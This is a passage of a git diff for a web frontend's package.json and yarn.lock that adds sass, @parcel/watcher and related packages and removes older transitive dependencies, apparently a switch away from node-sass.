@@ "@nuxtjs/stylelint-module": "^4.2.2", "@nuxtjs/svg": "^0.4.1", "@storybook/addon-coverage": "^0.0.8", + "@storybook/core-client": "6.5.9", "@storybook/test-runner": "^0.11.0", "@vue/test-utils": "1.3.4", "@vue/vue2-jest": "29.2.3", @@ -163,6 +163,7 @@ "nodemon": "2.0.22", "postcss": "8", "prettier": "2.8.7", + "sass": "^1.94.2", "storybook-addon-designs": "^6.3.1", "storybook-addon-pseudo-states": "1.15.5", "stylelint": "^16.3.1", diff --git a/web-frontend/yarn.lock b/web-frontend/yarn.lock index dedff66e55..cda80bac17 100644 --- a/web-frontend/yarn.lock +++ b/web-frontend/yarn.lock @@ -2549,7 +2549,7 @@ "@figspec/components" "^1.0.1" "@lit-labs/react" "^1.0.2" -"@gar/promisify@^1.0.1", "@gar/promisify@^1.1.3": +"@gar/promisify@^1.0.1": version "1.1.3" resolved "https://registry.yarnpkg.com/@gar/promisify/-/promisify-1.1.3.tgz#555193ab2e3bb3b6adc3d551c9c030d9e860daf6" integrity sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw== @@ -3320,14 +3320,6 @@ "@gar/promisify" "^1.0.1" semver "^7.3.5" -"@npmcli/fs@^2.1.0": - version "2.1.2" - resolved "https://registry.yarnpkg.com/@npmcli/fs/-/fs-2.1.2.tgz#a9e2541a4a2fec2e69c29b35e6060973da79b865" - integrity sha512-yOJKRvohFOaLqipNtwYB9WugyZKhC/DZC4VYPmpaCzDBrA8YpK3qHZ8/HGscMnE4GqbkLNuVcCnxkeQEdGt6LQ== - dependencies: - "@gar/promisify" "^1.1.3" - semver "^7.3.5" - "@npmcli/move-file@^1.0.1": version "1.1.2" resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674" @@ -3336,14 +3328,6 @@ mkdirp "^1.0.4" rimraf "^3.0.2" -"@npmcli/move-file@^2.0.0": - version "2.0.1" - resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-2.0.1.tgz#26f6bdc379d87f75e55739bab89db525b06100e4" - integrity sha512-mJd2Z5TjYWq/ttPLLGqArdtnC74J6bOzg4rMDnN+p1xTacZ2yPRCk2y0oSWQtygLR9YVQXgOcONrwtnk3JupxQ== - dependencies: - mkdirp "^1.0.4" - rimraf "^3.0.2" - "@nuxt/babel-preset-app@2.18.1": version "2.18.1" resolved "https://registry.yarnpkg.com/@nuxt/babel-preset-app/-/babel-preset-app-2.18.1.tgz#98aada373bb01a414b7261842c7e3b9ffab21a72" @@ -3807,6 +3791,95 @@ resolved "https://registry.yarnpkg.com/@one-ini/wasm/-/wasm-0.1.1.tgz#6013659736c9dbfccc96e8a9c2b3de317df39323" integrity sha512-XuySG1E38YScSJoMlqovLru4KTUNSjgVTIjyh7qMX6aNN5HY5Ct5LhRJdxO79JtTzKfzV/bnWpz+zquYrISsvw== +"@parcel/watcher-android-arm64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz#507f836d7e2042f798c7d07ad19c3546f9848ac1" + integrity sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA== + +"@parcel/watcher-darwin-arm64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz#3d26dce38de6590ef79c47ec2c55793c06ad4f67" + integrity sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw== + +"@parcel/watcher-darwin-x64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz#99f3af3869069ccf774e4ddfccf7e64fd2311ef8" + integrity sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg== + +"@parcel/watcher-freebsd-x64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz#14d6857741a9f51dfe51d5b08b7c8afdbc73ad9b" + integrity sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ== + +"@parcel/watcher-linux-arm-glibc@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz#43c3246d6892381db473bb4f663229ad20b609a1" + integrity sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA== + +"@parcel/watcher-linux-arm-musl@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz#663750f7090bb6278d2210de643eb8a3f780d08e" + integrity sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q== + +"@parcel/watcher-linux-arm64-glibc@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz#ba60e1f56977f7e47cd7e31ad65d15fdcbd07e30" + integrity sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w== + +"@parcel/watcher-linux-arm64-musl@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz#f7fbcdff2f04c526f96eac01f97419a6a99855d2" + integrity sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg== + +"@parcel/watcher-linux-x64-glibc@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz#4d2ea0f633eb1917d83d483392ce6181b6a92e4e" + integrity sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A== + +"@parcel/watcher-linux-x64-musl@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz#277b346b05db54f55657301dd77bdf99d63606ee" + integrity sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg== + +"@parcel/watcher-win32-arm64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz#7e9e02a26784d47503de1d10e8eab6cceb524243" + integrity sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw== + +"@parcel/watcher-win32-ia32@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz#2d0f94fa59a873cdc584bf7f6b1dc628ddf976e6" + integrity sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ== + +"@parcel/watcher-win32-x64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz#ae52693259664ba6f2228fa61d7ee44b64ea0947" + integrity sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA== + +"@parcel/watcher@^2.4.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher/-/watcher-2.5.1.tgz#342507a9cfaaf172479a882309def1e991fb1200" + integrity sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg== + dependencies: + detect-libc "^1.0.3" + is-glob "^4.0.3" + micromatch "^4.0.5" + node-addon-api "^7.0.0" + optionalDependencies: + "@parcel/watcher-android-arm64" "2.5.1" + "@parcel/watcher-darwin-arm64" "2.5.1" + "@parcel/watcher-darwin-x64" "2.5.1" + "@parcel/watcher-freebsd-x64" "2.5.1" + "@parcel/watcher-linux-arm-glibc" "2.5.1" + "@parcel/watcher-linux-arm-musl" "2.5.1" + "@parcel/watcher-linux-arm64-glibc" "2.5.1" + "@parcel/watcher-linux-arm64-musl" "2.5.1" + "@parcel/watcher-linux-x64-glibc" "2.5.1" + "@parcel/watcher-linux-x64-musl" "2.5.1" + "@parcel/watcher-win32-arm64" "2.5.1" + "@parcel/watcher-win32-ia32" "2.5.1" + "@parcel/watcher-win32-x64" "2.5.1" + "@pkgjs/parseargs@^0.11.0": version "0.11.0" resolved "https://registry.yarnpkg.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33" @@ -5510,16 +5583,6 @@ "@tiptap/extension-floating-menu" "^2.14.0" vue-ts-types "1.6.2" -"@tootallnate/once@1": - version "1.1.2" - resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-1.1.2.tgz#ccb91445360179a04e7fe6aff78c00ffc1eeaf82" - integrity sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw== - -"@tootallnate/once@2": - version "2.0.0" - resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-2.0.0.tgz#f544a148d3ab35801c1f633a7441fd87c2e484bf" - integrity sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A== - "@trysound/sax@0.2.0": version "0.2.0" resolved "https://registry.yarnpkg.com/@trysound/sax/-/sax-0.2.0.tgz#cccaab758af56761eb7bf37af6f03f326dd798ad" @@ -5770,11 +5833,6 @@ resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-5.1.2.tgz#07508b45797cb81ec3f273011b054cd0755eddca" integrity sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA== -"@types/minimist@^1.2.0": - version "1.2.5" - resolved "https://registry.yarnpkg.com/@types/minimist/-/minimist-1.2.5.tgz#ec10755e871497bcd83efe927e43ec46e8c0747e" - integrity sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag== - "@types/node-fetch@^2.5.7", "@types/node-fetch@^2.6.4": version "2.6.9" resolved "https://registry.yarnpkg.com/@types/node-fetch/-/node-fetch-2.6.9.tgz#15f529d247f1ede1824f7e7acdaa192d5f28071e" @@ -6644,25 +6702,11 @@ address@^1.0.1: resolved "https://registry.yarnpkg.com/address/-/address-1.2.2.tgz#2b5248dac5485a6390532c6a517fda2e3faac89e" integrity sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA== -agent-base@6, agent-base@^6.0.2: - version "6.0.2" - resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77" - integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ== - dependencies: - debug "4" - agent-base@^7.1.0, agent-base@^7.1.2: version "7.1.4" resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-7.1.4.tgz#e3cd76d4c548ee895d3c3fd8dc1f6c5b9032e7a8" integrity sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ== -agentkeepalive@^4.1.3, agentkeepalive@^4.2.1: - version "4.6.0" - resolved "https://registry.yarnpkg.com/agentkeepalive/-/agentkeepalive-4.6.0.tgz#35f73e94b3f40bf65f105219c623ad19c136ea6a" - integrity sha512-kja8j7PjmncONqaTsB8fQ+wE2mSU2DJ9D4XKoJ5PFWIdRMa6SLSN1ff4mOr4jCbfRSsxR4keIiySJU0N9T5hIQ== - dependencies: - humanize-ms "^1.2.1" - aggregate-error@^3.0.0: version "3.1.0" resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a" @@ -6876,14 +6920,6 @@ are-we-there-yet@^2.0.0: delegates "^1.0.0" readable-stream "^3.6.0" -are-we-there-yet@^3.0.0: - version "3.0.1" - resolved "https://registry.yarnpkg.com/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz#679df222b278c64f2cdba1175cdc00b0d96164bd" - integrity sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg== - dependencies: - delegates "^1.0.0" - readable-stream "^3.6.0" - arg@^4.1.3: version "4.1.3" resolved "https://registry.yarnpkg.com/arg/-/arg-4.1.3.tgz#269fc7ad5b8e42cb63c896d5666017261c144089" @@ -7055,11 +7091,6 @@ arraybuffer.prototype.slice@^1.0.3: is-array-buffer "^3.0.4" is-shared-array-buffer "^1.0.2" -arrify@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d" - integrity sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA== - arrify@^2.0.1: version "2.0.1" resolved "https://registry.yarnpkg.com/arrify/-/arrify-2.0.1.tgz#c9655e9331e0abcd588d2a7cad7e9956f66701fa" @@ -7142,11 +7173,6 @@ async-each@^1.0.1: resolved "https://registry.yarnpkg.com/async-each/-/async-each-1.0.6.tgz#52f1d9403818c179b7561e11a5d1b77eb2160e77" integrity sha512-c646jH1avxr+aVpndVMeAfYw7wAa6idufrlN3LPA4PmKS0QEGp6PIC9nwz0WQkkvBGAMEki3pFdtxaF39J9vvg== -async-foreach@^0.1.3: - version "0.1.3" - resolved "https://registry.yarnpkg.com/async-foreach/-/async-foreach-0.1.3.tgz#36121f845c0578172de419a97dbeb1d16ec34542" - integrity sha512-VUeSMD8nEGBWaZK4lizI1sf3yEC7pnAQ/mrI7pC2fBz2s/tq5jWWEngTwaf0Gruu/OoXRGLGg1XFqpYBiGTYJA== - async-mutex@0.4.0: version "0.4.0" resolved "https://registry.yarnpkg.com/async-mutex/-/async-mutex-0.4.0.tgz#ae8048cd4d04ace94347507504b3cf15e631c25f" @@ -7780,7 +7806,7 @@ cacache@^12.0.2: unique-filename "^1.1.1" y18n "^4.0.0" -cacache@^15.0.5, cacache@^15.2.0: +cacache@^15.0.5: version "15.3.0" resolved "https://registry.yarnpkg.com/cacache/-/cacache-15.3.0.tgz#dc85380fb2f556fe3dda4c719bfa0ec875a7f1eb" integrity sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ== @@ -7804,30 +7830,6 @@ cacache@^15.0.5, cacache@^15.2.0: tar "^6.0.2" unique-filename "^1.1.1" -cacache@^16.1.0: - version "16.1.3" - resolved "https://registry.yarnpkg.com/cacache/-/cacache-16.1.3.tgz#a02b9f34ecfaf9a78c9f4bc16fceb94d5d67a38e" - integrity sha512-/+Emcj9DAXxX4cwlLmRI9c166RuL3w30zp4R7Joiv2cQTtTtA+jeuCAjH3ZlGnYS3tKENSrKhAzVVP9GVyzeYQ== - dependencies: - "@npmcli/fs" "^2.1.0" - "@npmcli/move-file" "^2.0.0" - chownr "^2.0.0" - fs-minipass "^2.1.0" - glob "^8.0.1" - infer-owner "^1.0.4" - lru-cache "^7.7.1" - minipass "^3.1.6" - minipass-collect "^1.0.2" - minipass-flush "^1.0.5" - minipass-pipeline "^1.2.4" - mkdirp "^1.0.4" - p-map "^4.0.0" - promise-inflight "^1.0.1" - rimraf "^3.0.2" - ssri "^9.0.0" - tar "^6.1.11" - unique-filename "^2.0.0" - cache-base@^1.0.1: version "1.0.1" resolved "https://registry.yarnpkg.com/cache-base/-/cache-base-1.0.1.tgz#0a7f46416831c8b662ee36fe4e7c59d76f666ab2" @@ -7942,15 +7944,6 @@ camelcase-keys@^2.0.0: camelcase "^2.0.0" map-obj "^1.0.0" -camelcase-keys@^6.2.2: - version "6.2.2" - resolved "https://registry.yarnpkg.com/camelcase-keys/-/camelcase-keys-6.2.2.tgz#5e755d6ba51aa223ec7d3d52f25778210f9dc3c0" - integrity sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg== - dependencies: - camelcase "^5.3.1" - map-obj "^4.0.0" - quick-lru "^4.0.1" - camelcase@^2.0.0: version "2.1.1" resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-2.1.1.tgz#7c1d16d679a1bbe59ca02cacecfb011e201f5a1f" @@ -8137,6 +8130,13 @@ chokidar@^3.6.0: optionalDependencies: fsevents "~2.3.2" +chokidar@^4.0.0: + version "4.0.3" + resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-4.0.3.tgz#7be37a4c03c9aee1ecfe862a4a23b2c70c205d30" + integrity sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA== + dependencies: + readdirp "^4.0.1" + chownr@^1.1.1: version "1.1.4" resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b" @@ -8331,7 +8331,7 @@ color-name@~1.1.4: resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2" integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== -color-support@^1.1.2, color-support@^1.1.3: +color-support@^1.1.2: version "1.1.3" resolved "https://registry.yarnpkg.com/color-support/-/color-support-1.1.3.tgz#93834379a1cc9a0c61f82f52f0d04322251bd5a2" integrity sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg== @@ -8609,6 +8609,11 @@ core-js@^3.0.4, core-js@^3.6.5, core-js@^3.8.2: resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.34.0.tgz#5705e6ad5982678612e96987d05b27c6c7c274a5" integrity sha512-aDdvlDder8QmY91H88GzNi9EtQi2TjvQhpCX6B1v/dAZHU1AuLgHvRh54RiOerpEhEW46Tkf+vgAViB/CWC0ag== +core-js@^3.34.0: + version "3.47.0" + resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.47.0.tgz#436ef07650e191afeb84c24481b298bd60eb4a17" + integrity sha512-c3Q2VVkGAUyupsjRnaNX6u8Dq2vAdzm9iuPj5FW0fRxzlxgq9Q39MDq10IvmQSpLgHQNyQzQmOo6bgGHmH3NNg== + core-js@^3.37.1: version "3.42.0" resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.42.0.tgz#edbe91f78ac8cfb6df8d997e74d368a68082fe37" @@ -9234,13 +9239,6 @@ debug@^3.0.0, debug@^3.2.7: dependencies: ms "^2.1.1" -debug@^4.3.3: - version "4.4.1" - resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.1.tgz#e5a8bc6cbc4c6cd3e64308b0693a3d4fa550189b" - integrity sha512-KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ== - dependencies: - ms "^2.1.3" - debug@^4.3.5: version "4.4.0" resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a" @@ -9248,15 +9246,7 @@ debug@^4.3.5: dependencies: ms "^2.1.3" -decamelize-keys@^1.1.0: - version "1.1.1" - resolved "https://registry.yarnpkg.com/decamelize-keys/-/decamelize-keys-1.1.1.tgz#04a2d523b2f18d80d0158a43b895d56dff8d19d8" - integrity sha512-WiPxgEirIV0/eIOMcnFBA3/IJZAZqKnwAwWyvvdi4lsr1WCN22nhdf/3db3DoZcUjTV2SqfzIwNyp6y2xs3nmg== - dependencies: - decamelize "^1.1.0" - map-obj "^1.0.0" - -decamelize@^1.1.0, decamelize@^1.1.2, decamelize@^1.2.0: +decamelize@^1.1.2, decamelize@^1.2.0: version "1.2.0" resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290" integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA== @@ -9460,6 +9450,11 @@ detect-indent@^5.0.0: resolved "https://registry.yarnpkg.com/detect-indent/-/detect-indent-5.0.0.tgz#3871cc0a6a002e8c3e5b3cf7f336264675f06b9d" integrity sha512-rlpvsxUtM0PQvy9iZe640/IWwWYyBsTApREbA1pHOpmOUIl9MkP/U4z7vTtg4Oaojvqhxt7sdufnT0EzGaR31g== +detect-libc@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/detect-libc/-/detect-libc-1.0.3.tgz#fa137c4bd698edf55cd5cd02ac559f91a4c4ba9b" + integrity sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg== + detect-newline@^3.0.0: version "3.1.0" resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651" @@ -9794,13 +9789,6 @@ encodeurl@~1.0.2: resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" integrity sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w== -encoding@^0.1.12, encoding@^0.1.13: - version "0.1.13" - resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9" - integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A== - dependencies: - iconv-lite "^0.6.2" - end-of-stream@^1.0.0, end-of-stream@^1.1.0: version "1.4.4" resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0" @@ -9859,16 +9847,11 @@ entities@~3.0.1: resolved "https://registry.yarnpkg.com/entities/-/entities-3.0.1.tgz#2b887ca62585e96db3903482d336c1006c3001d4" integrity sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q== -env-paths@^2.2.0, env-paths@^2.2.1: +env-paths@^2.2.1: version "2.2.1" resolved "https://registry.yarnpkg.com/env-paths/-/env-paths-2.2.1.tgz#420399d416ce1fbe9bc0a07c62fa68d67fd0f8f2" integrity sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A== -err-code@^2.0.2: - version "2.0.3" - resolved "https://registry.yarnpkg.com/err-code/-/err-code-2.0.3.tgz#23c2f3b756ffdfc608d30e27c9a941024807e7f9" - integrity sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA== - errno@^0.1.3, errno@~0.1.7: version "0.1.8" resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f" @@ -11216,7 +11199,7 @@ fs-memo@^1.2.0: resolved "https://registry.yarnpkg.com/fs-memo/-/fs-memo-1.2.0.tgz#a2ec3be606b902077adbb37ec529c5ec5fb2e037" integrity sha512-YEexkCpL4j03jn5SxaMHqcO6IuWuqm8JFUYhyCep7Ao89JIYmB8xoKhK7zXXJ9cCaNXpyNH5L3QtAmoxjoHW2w== -fs-minipass@^2.0.0, fs-minipass@^2.1.0: +fs-minipass@^2.0.0: version "2.1.0" resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb" integrity sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg== @@ -11296,27 +11279,6 @@ gauge@^3.0.0: strip-ansi "^6.0.1" wide-align "^1.1.2" -gauge@^4.0.3: - version "4.0.4" - resolved "https://registry.yarnpkg.com/gauge/-/gauge-4.0.4.tgz#52ff0652f2bbf607a989793d53b751bef2328dce" - integrity sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg== - dependencies: - aproba "^1.0.3 || ^2.0.0" - color-support "^1.1.3" - console-control-strings "^1.1.0" - has-unicode "^2.0.1" - signal-exit "^3.0.7" - string-width "^4.2.3" - strip-ansi "^6.0.1" - wide-align "^1.1.5" - -gaze@^1.0.0: - version "1.1.3" - resolved "https://registry.yarnpkg.com/gaze/-/gaze-1.1.3.tgz#c441733e13b927ac8c0ff0b4c3b033f28812924a" - integrity sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g== - dependencies: - globule "^1.0.0" - gensync@^1.0.0-beta.1, gensync@^1.0.0-beta.2: version "1.0.0-beta.2" resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0" @@ -11491,7 +11453,7 @@ glob@^10.0.0, glob@^10.2.2, glob@^10.3.3: package-json-from-dist "^1.0.0" path-scurry "^1.11.1" -glob@^7.0.0, glob@^7.0.3, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6, glob@^7.1.7, glob@^7.2.0: +glob@^7.1.3, glob@^7.1.4, glob@^7.1.6, glob@^7.1.7, glob@^7.2.0: version "7.2.3" resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b" integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q== @@ -11503,7 +11465,7 @@ glob@^7.0.0, glob@^7.0.3, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6, glob@^7.1.7, gl once "^1.3.0" path-is-absolute "^1.0.0" -glob@^8.0.1, glob@^8.1.0: +glob@^8.1.0: version "8.1.0" resolved "https://registry.yarnpkg.com/glob/-/glob-8.1.0.tgz#d388f656593ef708ee3e34640fdfb99a9fd1c33e" integrity sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ== @@ -11514,18 +11476,6 @@ glob@^8.0.1, glob@^8.1.0: minimatch "^5.0.1" once "^1.3.0" -glob@~7.1.1: - version "7.1.7" - resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90" - integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ== - dependencies: - fs.realpath "^1.0.0" - inflight "^1.0.4" - inherits "2" - minimatch "^3.0.4" - once 